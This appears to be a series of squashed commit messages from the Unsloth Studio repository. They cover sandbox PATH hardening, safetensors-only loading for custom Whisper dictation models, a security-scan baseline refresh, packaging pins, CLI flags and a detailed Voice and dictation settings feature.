* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix(studio): restrict sandbox PATH inheritance to Windows Git dirs (#7323)
Only append Git-for-Windows install directories from the host PATH on
Windows, instead of every absolute entry. This fixes bare `git` resolution
(#7317) without letting user-writable dirs (venv, node_modules/.bin)
shadow auto-safe terminal commands.
* Pin sandbox PATHEXT to block cwd script hijacks (#7317)
Use a fixed .EXE;.COM list instead of inheriting the host PATHEXT so
cmd cannot resolve auto-approved bare names from workdir .BAT/.CMD stubs.
* Resolve sandbox git dir via shutil.which and disable cwd exe lookup
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep non-exe git launchers resolvable under restricted PATHEXT
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Restrict inherited sandbox git dir to system install roots
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Drop SystemRoot trust and canonicalize short paths for sandbox git
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Resolve Program Files via known-folder API and append canonical git dir
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Trust native Program Files on 32-bit Windows and stub program roots in tests
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Scan PATH for a trusted git and derive native Program Files root
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Drop ProgramFiles env from the trusted-root fallback
* Fail closed when trusted Program Files root cannot be resolved
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* fix(studio): opt-in source-build GPU smoke validation (#5854)
Gap 1 (empty CUDA arch -> CPU) already landed in #6481. Wire gap 2: after a
GPU source build, optionally run the same staged llama-server smoke test as
the prebuilt path, then CPU-fallback on failure. Gated by
UNSLOTH_LLAMA_STAGED_VALIDATION (default off) to avoid Blackwell JIT stalls.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix(install): normalize staged validation env in setup.sh (#7322)
Strip and lowercase UNSLOTH_LLAMA_STAGED_VALIDATION before the shell
gate so values like True and surrounding whitespace match the Python
staged_validation_enabled() helper.
* Rebuild visual server after staged-validation CPU fallback (#5854)
Mirror the primary source-build path by best-effort building
llama-diffusion-gemma-visual-server after smoke-failure CPU fallback.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* fix: pin torchcodec for torch 2.10 and warn on ABI mismatch
Add unsloth[audio] extra with torchcodec>=0.10.0,<0.11.0 and emit a
clear warning when installed torchcodec minors disagree with torch
(unslothai/unsloth#7225).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix(packaging): address Codex review on torchcodec/torch 2.10 compat (#7299)
- Postpone annotations so import_fixes loads on Python 3.9
- Align TORCH_TORCHCODEC matrix with upstream (2.9: 0.8/0.9, 2.8: 0.6/0.7)
- Fix mismatch hint upper bound (<0.11.0) and gate audio-torch210 suggestion
- Split audio extra per torch minor; gate torch210 pin behind python>=3.10
- Bundle audio-torch210 only in *-torch2100 install extras
* fix(security): refresh openai CRITICAL scan baseline hashes (#7299)
openai package code drift reopened five CRITICAL findings in the
extras pip-scan-packages shard (C2 loop body hashes + IMDS/network
evidence). Update the reviewed allowlist evidence/hashes so CI gates
on new findings only, not benign SDK churn.
* chore: retrigger CI after baseline refresh (#7299)
* chore: touch scan baseline comment to retrigger security audit (#7299)
* Guard torchcodec version parsing so bad version strings cannot break import
* Bundle audio pin into intel-gpu-torch210 and guard the mismatch warning
* Tighten comments
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* fix(studio): persist connection model selections server-side
Remote Studio clients could see saved connections but not their enabled
model lists because models lived only in browser localStorage.
Store models and available_models in llm_providers and sync them through
the providers API so alternate clients inherit the same catalog state.
Fixes#7281
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Hydrate external connections on chat startup (#7281)
Extract provider sync logic into sync-external-providers.ts and call it
from chat-page on mount so persisted model selections appear in the
Connected picker without opening Settings → Connections first.
* fix(studio): backfill connection models and preserve local options (#7298)
Address Codex P2 on remote connection persistence:
- Backfill localStorage model selections to /api/providers when backend
rows still have empty models_json (legacy upgrades)
- Carry promptCacheTtl and openaiContainerTtlMinutes through startup sync
- Await hydratePersistedSettings before syncing on ChatPage mount
Contract tests: 7 passed; npm run typecheck passed.
* Tighten comments
* Tighten comments
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* fix(studio): show chat sidebar menu on touch devices
Recents/Pinned chat row actions were hidden until hover, so iPad users
could not open the kebab menu to delete chats. Reveal actions on coarse
pointers using the same pattern as hub model rows.
Fixes#7276
* Fix coarse-pointer sidebar row action visibility (#7276)
Move the touch-device override into index.css after .sidebar-row-action so
it wins the cascade. Arbitrary Tailwind media utilities on the element had
equal specificity and were overridden by the base rule.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Scope coarse-pointer sidebar actions to chat rows (#7276)
Only chat kebabs/unpin buttons that reserve touch padding get
sidebar-touch-reveal, so project/run/nav rows stay hover-revealed.
* Tighten comments
* Reserve full kebab hit area on coarse-pointer unpinned rows
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Keep the child process environment consistent with the cwd used to launch native POSIX coding agents. Some Node-based agents use PWD during project-root discovery, so inheriting a stale PWD can make them edit files in a parent or unrelated directory even when the wrapper process cwd is correct.
Only apply this normalization for native POSIX launches. WSL-launched Windows shims stay on the existing WSLENV bridge path so path translation behavior is unchanged.
Add regression coverage that launches an agent with a deliberately stale inherited PWD and asserts the child environment is normalized to os.getcwd().
Co-authored-by: Leo Borcherding <borchborchmail@gmail.com>
* Studio STT: only load safetensors weights for custom dictation models
The STT sidecar accepts arbitrary Hugging Face owner/model repos for
custom dictation models and, when safetensors were absent, downloaded
and loaded pytorch_model.bin through WhisperForConditionalGeneration
.from_pretrained. PyTorch checkpoints are pickles that execute code
during deserialization, and this path does not run the malware gate the
normal model loader applies, so an authenticated client on an exposed
Studio instance could load a crafted Whisper-looking repo and run code
in the backend.
Restrict custom STT repos to safetensors: the snapshot selector no
longer falls back to pytorch_model.bin(.index.json), the cached-snapshot
completeness check ignores pickle weights, and the load forces
use_safetensors so a stray cached pickle still cannot execute. The five
curated Whisper defaults already ship safetensors only, so this changes
nothing for the built-in models.
* STT: reject safetensors indexes that reference non-safetensors shards
A safetensors index (model.safetensors.index.json) is attacker-supplied
JSON and can name pytorch_model-*.bin shards in its weight_map.
Transformers dispatches shard loading per file by extension, so those
.bin shards still load through torch.load (pickle) even with
use_safetensors set. Require every weight_map value to end in
.safetensors in both the snapshot selector and the completeness check so
no pickle shard is downloaded or reused.
* Studio: keep the executed Python script visible in chat, with download + viewport-gated highlight
Always show the executed Python script under the tool card (not only inside the
collapsible run/output section, which is unmounted from history), with Copy and a
client-side .py Download button, so the script stays visible on reopen (#7165).
The script is rendered eagerly, but shiki syntax-highlighting only runs once the
block scrolls near the viewport (IntersectionObserver, 200px margin); until then a
plain monospace placeholder shows the same source with matching padding, so there
is no layout jump. This bounds highlighting to the cards actually on screen instead
of tokenizing every script up front. Measured shiki cost is ~8 ms per typical 2 KB
script, so eager highlighting of a long agentic transcript (20-50+ Python calls)
would add ~170-420 ms of main-thread work on load; viewport-gating keeps it to the
few visible cards (~15-35 ms) regardless of transcript length. Falls back to
immediate highlight when IntersectionObserver is unavailable (SSR / tests).
* Use a div for the pre-highlight placeholder so container [&_pre]:!p-0 doesn't strip its p-3
The placeholder shares the highlighted block's p-3 padding to avoid a layout
jump, but as a <pre> it was caught by the container's [&_pre]:!p-0 !important
rule and rendered with no padding, so the script shifted by p-3 when shiki
swapped in. A plain div keeps the padding.
* Match placeholder wrapping to the highlighted pre (whitespace-pre, not pre-wrap)
The placeholder wrapped long lines while the highlighted Streamdown <pre> keeps
them on one line and scrolls in the container's overflow-auto, so a script with a
long line changed height when shiki swapped in. Use whitespace-pre so the
placeholder scrolls the same way and the height stays stable.
---------
Co-authored-by: danielhanchen <unslothai@gmail.com>
* feat(studio): offer MLX-supported optimizers on Apple Silicon
The training form's optimizer dropdown only listed CUDA/bitsandbytes optimizers (adamw_8bit, paged variants, torch fused). On Apple Silicon the MLX trainer supports a different set (adamw, adam, lion, muon, sgd, adafactor) and remaps every bitsandbytes/torch name to plain AdamW, so the dropdown misrepresented what actually runs.
Offer the MLX optimizer list when the device is a Mac, and derive the displayed value so the control is never blank: the shared CUDA default and the other bitsandbytes/torch options render as AdamW (exactly how the MLX backend normalizes them), while any other value is shown as-is so an unrecognized or non-canonical imported optimizer is never mislabeled. Non-Mac behavior is unchanged. The run-summary optimizer label now resolves from both lists.
* feat(studio): show an MLX-appropriate optimizer tooltip on Apple Silicon
The optimizer tooltip described "8-bit variants" and recommended "Fused" for vision models, neither of which is offered when training runs on MLX. On Apple Silicon, show a tooltip that matches the MLX optimizer set and notes that Lion typically needs a lower learning rate than AdamW.
Copy-only: no change to the selected optimizer or the learning rate, and the non-Mac tooltip is unchanged. The new string is added to the English locale; other locales fall back to English until translated, matching how new keys are handled elsewhere.
* fix(studio): label Mac CUDA-alias optimizers as AdamW in the run summary
On Apple Silicon the run-configuration summary looked up the stored optimizer name directly, so a run that kept a CUDA/bitsandbytes default such as adamw_8bit was labeled "AdamW 8-bit" even though the picker shows "AdamW" and the MLX backend runs plain AdamW. Mirror the training form's derivation so those aliases are labeled AdamW in the summary too.
Display-only: no change to the stored or submitted optimizer, and non-Mac summaries are unchanged.
* feat(studio): disable LoftQ and sequence packing on Apple Silicon
Neither LoftQ nor sequence packing is supported on MLX — the backend rejects LoftQ and the trainer silently forces packing off — yet the training form still offered both on Apple Silicon.
Disable the LoftQ LoRA-init option (greyed and unclickable, with an inline "Not supported on Apple Silicon" note) and the "Enable packing" checkbox (greyed, with a tooltip explaining why), matching how the unsupported "Enable streaming" control is presented. Clearing effects reset a stale loftq/packing value to its default on Mac so the disabled controls never submit it. Non-Mac behavior is unchanged.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
The script the python tool runs was rendered inside a collapsible that closes
when the run ends or the thread is reopened, so the code disappeared from the
transcript and there was no way to save it. Render the script outside the
collapsible so it stays visible, and add a Download button that saves it as
script.py. Other tools and normal chat are unaffected.
The pip scan-packages extras shard has been red on main because openai
2.47.0 changed the code inside five previously baselined findings, so
their evidence hashes no longer matched the allowlist. The hf-stack
shard was about to go red the same way: unsloth-zoo 2026.7.5 changed
two baselined test files.
All seven reopened findings were re-verified against the exact resolved
archives before re-baselining:
- openai/_base_client.py: while True in SyncPage.iter_pages, the
pagination iterator.
- openai/auth/_workload.py: Azure IMDS and GCP metadata token
providers for the documented workload identity federation feature.
- openai/resources/{beta/responses,realtime,responses}: while True in
websocket __aiter__ event loops; the loop bodies gained reconnect
handling in 2.47.0, which is what shifted the hashes.
- unsloth-zoo tests/test_vision_collator_audio.py: asserts that an
inline /tmp/a.wav path is passed through by the audio collator.
- unsloth-zoo tests/test_gemma4_forced_float32_ple_dtype.py:
compile()/exec() of the project's own generated Gemma4 PLE cast
helper source in tests.
No existing entries were removed. All three shards now exit 0 locally
against the same requirement sets CI uses.
* unsloth start/run: tool-call flags, positional model, grouped help
Expose the existing tool-call controls as first-class CLI flags on both
unsloth run and unsloth start, add positional model detection with a GGUF
quant default, and group --help into rich panels.
Flags (unsloth run): --enable-tool-call-healing/--disable-tool-call-healing
(default on), --enable-tool-call-nudging/--disable-tool-call-nudging
(default on). Resolved before any re-exec and written to the existing env
controls (UNSLOTH_DISABLE_TOOL_CALL_HEALING, UNSLOTH_TOOL_CALL_NUDGE) so the
in-venv server reads them at import; an omitted flag respects a value the
parent already set.
Flags (unsloth start): --enable-tools/--disable-tools (default off, passthrough),
plus the same healing/nudging flags (default on). start conveys them to the
auto-started run via the child env and the tools flag, so it stays correct even
if run re-execs into an older Studio venv.
Positional model: a leading org/name(:variant) token routes to --model when
--model is absent, without stealing an option value or an agent passthrough arg.
A bare GGUF repo with no variant defaults to UD-Q4_K_XL for the unsloth namespace
and Q4_K_M elsewhere, applied only on the fresh auto-serve path so attaching to a
loaded model never reloads.
Help is grouped into rich panels (Model / Server / Session for start; Model /
Server and network / Tool calls / Advanced for run) so --help reads cleanly.
Adds unit coverage for the helpers, the start command-and-env forwarding, the
positional/quant defaulting, and the run env resolution.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Positional model: reuse _is_hub_model_id so local dirs and paths are not stolen
Route a bare org/name positional to --model only when it resolves as a hub id
(via the existing _is_hub_model_id, which rejects local paths and existing
dirs), so an OpenCode project dir like owner/repo is left for the agent. Apply
the same guard to the auto-serve GGUF quant default so a local -GGUF path is
not forced to a quant it may not contain.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* unsloth start: typer floor, drop redundant GGUF quant default, respect inherited tool-call env
- Require typer>=0.12.0. The rich_help_panel options added here crash at import
on typer<0.6, and the dependency was previously unbounded.
- Stop forcing a default GGUF quant for a bare org/name-GGUF on auto-serve. The
server's own quant preference already picks UD-Q4_K_XL for Unsloth uploads and
Q4_K_M otherwise, and falls back when that exact quant is missing, so forcing a
fixed variant broke external repos that only publish Q5_K_M/Q8_0.
- Make the healing/nudging start flags tri-state so an omitted flag keeps an
operator's inherited UNSLOTH_DISABLE_TOOL_CALL_HEALING / UNSLOTH_TOOL_CALL_NUDGE
instead of overwriting it with the start defaults.
* Fix start passthrough and inherited tool settings
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>
* Studio: add Voice settings tab (dictation, dictionary, read aloud)
New Voice tab in Settings, placed just before About:
- Dictation: microphone picker, browser STT engine, recognition language,
and an inline mic test with a live transcript
- Dictation dictionary: entries rewrite matching speech to their exact
spelling and casing, applied in both dictation paths
- Recent dictations: last 20 final transcripts with copy and clear, so
text can be recovered if it lands in the wrong place
- Read aloud: optional button on assistant responses with two engines,
curated system voices (novelty and legacy voices filtered, quality
ranked, capped at 20) or the TTS audio model loaded in Unsloth via
/audio/generate (e.g. Orpheus), plus speed, pitch, volume and preview
Settings persist in localStorage (unsloth_voice_settings) and are read
at call time so changes apply without reloading the runtime. Adds en
keys plus the tab label for ja, zh-CN and pt-BR.
* Studio: drop the single option STT engine select, rename TTS option
The STT engine dropdown only had one entry, so it added noise without
giving a real choice. The engine row can come back once local STT
models land. Also renames the TTS engine option Unsloth TTS model to
Load TTS model to make the action clearer.
* Studio: harden Voice settings against edge cases found in simulation
Simulated the feature across Chromium, Firefox and WebKit plus node
level unit runs and backend contract checks. Fixes from the findings:
- Dictionary rewrite used a replacement string, so entries containing
dollar patterns corrupted transcripts (A$$AP became A$AP, $& injected
the match). Switched to the callback form of String.replace
- Persisted voice settings now validate types on hydration: non string
micDeviceId, dictationLanguage and ttsVoiceURI, and non boolean
ttsEnabled fall back to defaults instead of flowing into the UI
- Dictionary entries are trimmed, capped at 120 chars and re-sanitized
on hydration
- The Test dictation panel now falls back to the default microphone
when the saved device is unplugged, matching the composer adapter
Test coverage: 46 unit assertions (dictionary regex edge cases across
unicode, word boundaries and injection, voice curation for simulated
macOS, Windows and Linux voice inventories, corrupt storage merge),
13 backend contract checks against /audio/generate on an isolated
instance, and 60 browser assertions across the three engines covering
rendering, degradation without SpeechRecognition, curation in a real
DOM, dictionary persistence with unicode and dollar entries, the
no-model preview error path and corrupt localStorage recovery.
* Studio: address Voice settings review feedback
Verified each review comment before acting. Confirmed and fixed:
- Editing a dictionary entry was broken in two ways: the store trimmed
on every keystroke so spaces could not be typed, and clearing the
field deleted the entry and unmounted the input mid edit. Updates now
keep the raw value and a blur commit trims or removes the entry
- The unplugged mic fallback checked instanceof DOMException, but a
cross browser probe showed Firefox and WebKit throw
OverconstrainedError objects that are not DOMExceptions, so the
fallback never fired there. Matching on the error name now
- When the browser ended a dictation test on its own (silence timeout),
the mic stream stayed open. All recognition end paths now stop the
tracks and save the transcript through a single finalize path
- The studio TTS audio element now releases its WAV data URL as soon as
playback ends, fails or is cancelled
- Allow microphone now reports insecure contexts (no mediaDevices)
accurately instead of claiming access was blocked
- Voice tab copy moved into i18n keys per src/i18n/AGENTS.md, so locale
overlays can translate it; en is the baseline and parity passes
- unsloth_voice_settings added to the Reset all local preferences key
list so voice preferences obey the reset
- Non default microphones note that the system default is used when the
browser speech engine cannot bind a specific device, since browsers
without the start(track) overload ignore the argument silently
Re-ran the full simulation set after the changes: 46 unit assertions,
13 backend contract checks and 60 browser assertions across Chromium,
Firefox and WebKit all pass, plus a dedicated browser probe for the
dictionary editing behavior.
* Studio: use the chat mic icon in Voice settings for consistency
The Voice tab and its buttons used the hugeicons Mic02 glyph while the
chat composer uses a custom filled mic. Extract that composer icon into
a shared lib/mic-icon component, drop the duplicate inline copies in
thread.tsx and shared-composer.tsx, and use it for the Voice tab icon
and the tab's mic buttons so the microphone looks the same everywhere.
* Studio: address second round of Voice settings review feedback
Verified each new comment against the current code first. One item was
already fixed in the previous round (recording transcripts when the
browser ends a dictation test on its own). Confirmed and fixed:
- The microphone row showed a picker with generic names when browsers
enumerate unlabeled devices before permission, leaving no way to
grant access from the row. It now branches on whether labels are
visible and shows Allow microphone otherwise
- Compare chat dictation ignored the selected microphone. It now opens
the chosen device with the same fallback rules as the main adapter,
passes the track to recognition where supported and releases the
stream when recognition ends
- Closing the Voice tab cancelled the shared speechSynthesis even when
read aloud was playing a chat message. Cleanup now only cancels when
the tab owns an active preview
- Double clicking Start test could race two recognizers and leak the
first stream. A starting flag set before the getUserMedia await makes
start reentrancy safe
- Turning off the read aloud setting mid playback removed the only stop
control. The stop button now renders whenever a message is speaking
- When an engine lacks the start(track) overload, both dictation paths
now release the selected device stream before retrying with the
default microphone instead of holding it open
- Read aloud support no longer requires Web Speech synthesis: the
Unsloth TTS engine only needs audio playback, so it stays available
in WebViews without speechSynthesis, with a clear error if the system
engine is chosen there
Not addressed here: cancelling in flight backend TTS generation on
stop. The route runs generation in a worker thread without a
cancellation path, which is shared pre existing behavior with audio
chat generation and belongs in a backend change.
All suites re-run green: 46 unit, 13 backend contract and 60 browser
matrix assertions across Chromium, Firefox and WebKit, plus probes for
the unlabeled device branch and the double click race.
* Studio: drop empty and duplicate voiceURIs so the Voice tab never renders a crashing Select item
* Studio: guard dictation mic lifecycle in Voice test and Compare composer
Release a microphone opened after the component unmounts, and stop Compare
dictation on a permission or security failure instead of silently recording
from the default device, matching the main chat adapter.
* Studio: fix dictation and read-aloud lifecycle edge cases in Voice settings
- Join final dictation chunks with a space so recorded transcripts do not merge words
- Ignore a stale recognizer onend so a quick stop then restart is not torn down
- Use previewingRef so a double click on TTS preview does not orphan the first request
- Keep the read-aloud stop control visible when a new run starts while a message is spoken
- Stop the dictionary remove button from deleting an adjacent entry on a blur then click race
* Studio: trim redundant Voice settings comments
* Studio: fix Voice preview and Compare dictation edge cases
- Only cancel the shared speechSynthesis for a system-voice preview, so stopping
a Studio preview no longer stops an unrelated chat read-aloud
- Release the Studio preview audio and its WAV data URL on normal completion
- Iterate every finalized result in Compare dictation so batched phrases are kept
- Cap persisted recent dictations to the last 20 on hydration
* Studio: use clipboard fallback for recents and release failed preview audio
- Copy recent dictations via the copyToClipboard helper so the execCommand
fallback works in Safari and insecure http LAN contexts
- Release the Studio preview audio when play() rejects, not just on ended/error
* Studio: add local speech-to-text dictation engine
Add an offline dictation engine that transcribes with a local faster-whisper
model, alongside the existing browser (Web Speech) engine. The browser engine
streams audio to Apple or Google speech services and needs internet; the new
engine runs on the server, works offline, and drives any chat model without
evicting it (it loads in the backend process, separate from the model
subprocess). It also gives Firefox dictation, which has no Web Speech support.
Backend: a lazily-loaded, kept-warm faster-whisper sidecar and three routes
under /api/inference/audio (stt/status, stt/load, transcribe). faster-whisper
is torch-free, so this does not disturb the existing model stack.
Frontend: a Dictation engine setting (browser or local model), a curated model
picker with sizes, and MediaRecorder capture posted to the transcribe route.
The model warms automatically when the engine is selected, with live status.
* Studio: stream local STT transcription as you speak
Local dictation showed nothing until you stopped, because the whole clip was
transcribed once on stop. Now the growing recording is re-transcribed on a
fast pass every second and emitted as live interim text, with an accurate
final pass on stop. Partial recordings decode fine, and the model refines
earlier words as more audio arrives.
Adds an interim flag to the transcribe route (beam 1, no VAD) for the fast
preview pass; the final stop uses the accurate path.
* Studio: make local dictation stop instant and reliable
Stopping local dictation waited for a final network transcription before the
session ended, so the stop button did not flip and a second click ended the
session early and dropped the text. Now stop commits the live transcript
immediately, releases the mic at once, and ignores a second stop while
finalizing. Previews run more often so the committed text is current.
* Studio: record local dictation in short clips for reliable streaming
Re-transcribing a growing buffer every second got slower as it grew, flooded
the backend, showed stale words, and could leave the stop button stuck waiting
on a backlog. Record short independent clips instead and transcribe each once,
appending the text as you speak. Work per clip is bounded, so stopping is
prompt (with a hard timeout as a safety net) and long dictations stay smooth.
* Studio: dictate then transcribe once on stop, ChatGPT style
Local STT dictation streamed by re-transcribing the growing clip, which
was quadratic and saturated the backend (multi-second lag), and stop only
halted the recorder without releasing the mic, so it kept recording. Record
the microphone continuously, release it the instant the user stops, and
transcribe the whole clip once. Stopping is immediate and the transcript
lands in about a second. Also add the tiny model for the fastest option.
* Studio: surface dictation and read-aloud failures instead of failing silently
- Compare dictation reports microphone and speech-recognition errors via toast,
reusing the main chat adapter's describeMediaError and describeSpeechError
- Read-aloud toasts genuine model or synthesis failures while ignoring cancellations
* Studio: ChatGPT-style recording bar for dictation
Clicking the mic now drops the composer into a dedicated recording bar
with a live waveform, a discard (X) and a confirm (tick), instead of a
plain stop button. The tick stops recording and transcribes the clip;
the X throws the recording away and keeps whatever text was already in
the composer. The model adapter taps the mic with an analyser to drive
the waveform, and the router tracks the live session so the X can cancel
it without transcribing.
* Studio: transcribe dictation while speaking, ChatGPT layout
Match ChatGPT's recording layout: the bar now renders in place of the
input with the left plus button kept, the waveform in the middle, and
the discard and confirm buttons together on the right.
Cut the post-confirm delay by transcribing in the background as the user
talks. The audio is split at natural pauses (voice-activity detection off
the same analyser that drives the waveform) and each clip is transcribed
as it is cut, so confirming only has to finish the short final tail. The
model is also warmed when recording starts so the first run never pays a
cold load.
* Studio: ChatGPT waveform, hide tools while dictating, faster STT
Make the recording UI read like ChatGPT: the waveform is now a dense row
of round dots that rise into thin centered bars, and while dictating only
the plus button shows, with the mode badge and tool toggles hidden so the
bar is just the waveform and controls.
Speed up transcription: decode greedily (beam_size=1), which is several
times faster on CPU with negligible accuracy loss on short dictation
clips, and cap background segments at 6s so the final tail after confirm
stays short.
* Studio: finish ChatGPT voice bar and low-latency STT
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: full-width waveform with a timer that freezes on stop
Use the full-width waveform for the recording bar: brighter, bigger bars
that advance on a fixed cadence (keeping peaks between advances) so they
glide instead of racing by, inset from the composer edges. Keep a visible
timer and the green confirm button, matching the ChatGPT reference, and
freeze the timer and waveform the moment the user confirms.
* Studio: fix multilingual local dictation
* Studio: speed up dictation and release local STT
* Studio: harden dictation finalization and STT decoding
* Studio: restore Firefox dictation fallback
* Studio: add dictation history manager
* Studio: manage speech model downloads
* Studio: remove em dash from voice model label
* Studio: move dictation history into Voice
* Studio: source local STT from Unsloth Whisper models
Point the dictation STT sidecar and its Model Hub download entries at
Unsloth's Hugging Face Whisper repos (small, large-v3-turbo, large-v3)
and run them through Transformers, so Studio only ever downloads
Unsloth-uploaded weights. Drop faster-whisper and the Systran/mobiuslabs
repos; keep the Model Hub as the only download path via local_files_only,
and keep PyAV for audio decoding.
Device selection uses float16 on CUDA and float32 on MPS and CPU, since
Whisper's decoder is unstable in float16 on MPS and repeats tokens.
Shorten the model picker labels to name plus download size and update the
STT tests for the new backend.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: smooth dictation waveform and keep pill height
* Studio: align STT model dropdown width and tidy voice copy
* Studio: guide to local engine when browser dictation is offline
* Studio: clarify voice section and STT model copy
* Studio: keep STT warm with training-aware eviction
* Harden STT lifecycle and browser compatibility
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix model discovery test lint
* Harden cross-browser microphone errors
* Harden cross-browser microphone errors
* Surface voice test recognition errors and fall back to Studio TTS
- Voice test now toasts non-abort speech-recognition failures instead of
ending silently, matching the main and Compare dictation paths.
- Read-aloud routes to the backend model when the runtime lacks Web Speech
synthesis (audio-only WebView), so it no longer errors immediately.
* Fix reviewed STT lifecycle races
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix read-aloud fallback controls
* Guard read-aloud stop when deleting a non-speaking message
aui.message().stopSpeaking() throws unless this message is the one being
read aloud, so calling it unconditionally rejected the delete handler before
the message was removed. Only stop speech when this message is speaking.
* Cap recent dictation transcript length before persisting
Recent dictations only limited entry count, so a long transcript stored the
full text in the persisted voice settings and a few could exceed the
localStorage quota, throwing synchronously from the uncaught dictation cleanup
path. Truncate each entry on save and on hydration, matching the dictionary cap.
* Studio: keep dictation mic clickable and guide to local model
Register the dictation adapter unconditionally so the mic stays enabled
for any engine and starts working right after switching to the local
model on an already-open thread.
When the browser engine cannot run (Firefox, Brave, non-secure origins),
clicking the mic shows a toast that points to the local speech-to-text
model instead of leaving a disabled button. The toast stacks its action
below the text with a fully rounded button.
* Studio: add bottom padding below the dictation guidance toast button
* Studio: increase bottom padding under the dictation toast button
* Studio: add bottom padding inside the dictation toast button
* Studio: add five Whisper defaults and custom model search
Add private UnslothAI Tiny and Base mirrors to the curated local STT choices while keeping Small as the default. Let users search or paste a Transformers-compatible Whisper repository and validate it end to end.
Keep short dictations in one clip to avoid repeated padded encoder work, then split longer recordings near Whisper's 30-second boundary.
Update hidden model filters and tests, including the CPU-only CI runtime stub for PyAV.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: use public Unsloth Whisper repositories
Point the Tiny and Base dictation defaults to the public unsloth repositories and remove the private mirror references from model filtering and tests.
* Studio: update Whisper download sizes
Reflect the cleaned public Tiny and Base repositories in the curated model labels.
* Studio: right-align STT model size, fix dropdown wheel scroll, refresh sizes
- Show the download size on the right of each model row so long names
like Whisper Large v3 Turbo no longer hide it
- Update curated Whisper sizes to the safetensors weights actually
downloaded: Tiny 151 MB, Base 290 MB, Small 967 MB
- Drive the model list scroll from a wheel handler so the mouse wheel
scrolls it inside the Settings dialog, not just the scrollbar
- Add a search icon and shorten the placeholder to Search model
* Studio: do not search when a dictation model is picked, shrink repo label
- Treat the filled-in model text as a selection, not a query, so choosing
a model no longer kicks off a Hugging Face search
- Make the repository line under each model name smaller
* Studio: tighten dictation model and local engine descriptions
* Studio: keep model display on pick instead of the query, shrink row text
- Guard the combobox input so selecting a model shows its name and does
not echo the typed query back or start a search
- Map the item label to the friendly display so picks fill the field
- Reduce the model name and size text in each row
* Studio: show only the model name in the dictation field, shrink size label
- Drop the download size from the search field; the name alone is shown
once a model is selected, with sizes kept in the dropdown list
- Reduce the size label text in each row
* Studio: clarify the dictation model description
* Studio: drop Hugging Face from the dictation model description
* Studio: move the dictation dictionary to its own Manage subpage
- Replace the inline entry list with a Manage row, matching Dictation
history, so a long dictionary no longer crowds Voice settings
- Add a DictationDictionaryView subpage that holds the entry editor
* Studio: match STT field font, use best voice for System default
- Bump the dictation model field text to text-sm so it matches the
engine dropdown next to it
- Resolve the System default read-aloud voice to the top curated voice
instead of the browser default, which is a robotic legacy voice on macOS
* Studio: rerank read-aloud voices and drop duplicate voice entries
- Rank by vendor quality, then the user's locale, then a preferred list of
natural voices, so the best voice leads instead of the first alphabetically
- Collapse voices that macOS reports twice under one name and language
* Studio: fold dictionary and recents into the dictation section
- Drop the separate Dictation dictionary and Recent dictations headings;
their Manage rows now sit under Dictation, split by the row divider
- Shorten the custom spellings description
* Studio: add search and sort to dictation history
- Filter saved dictations by text with a search field
- Sort by newest, oldest, or A to Z; show a no-matches message
- Keep Clear all available regardless of the current filter
* Studio: settle cancelled STT loads before training and fix dictation review items
Wait for a cancelled STT load to exit and release its memory before
reporting it freed for training, so the loader cannot still be inside
from_pretrained()/.to(device) holding VRAM when the training subprocess
starts. A load that finishes before observing the cancel now gets
unloaded so the memory is actually reclaimed.
Clear the accelerator cache before the CPU fallback in load() so a failed
CUDA/MPS load does not strand reserved VRAM once the sidecar is marked
CPU-resident.
Send the saved Hugging Face token when polling STT download progress so a
gated or private repo resolves and shows the correct Load/Downloaded
state instead of reporting missing.
Mark the composer Dictate button as type="button" so clicking it does not
also submit the draft when the composer already has text or attachments.
* Studio: pin dictation settings per session and close STT startup races
Capture the STT model and language when a dictation session starts and
pass them to every queued segment and the warm-up load, so changing the
model or language mid-recording no longer transcribes the same clip with
the wrong model or a model that is not downloaded.
Check the local runtime at the top of transcribe(), before the model
cache lookup and the bounded audio decode, so a server missing PyTorch or
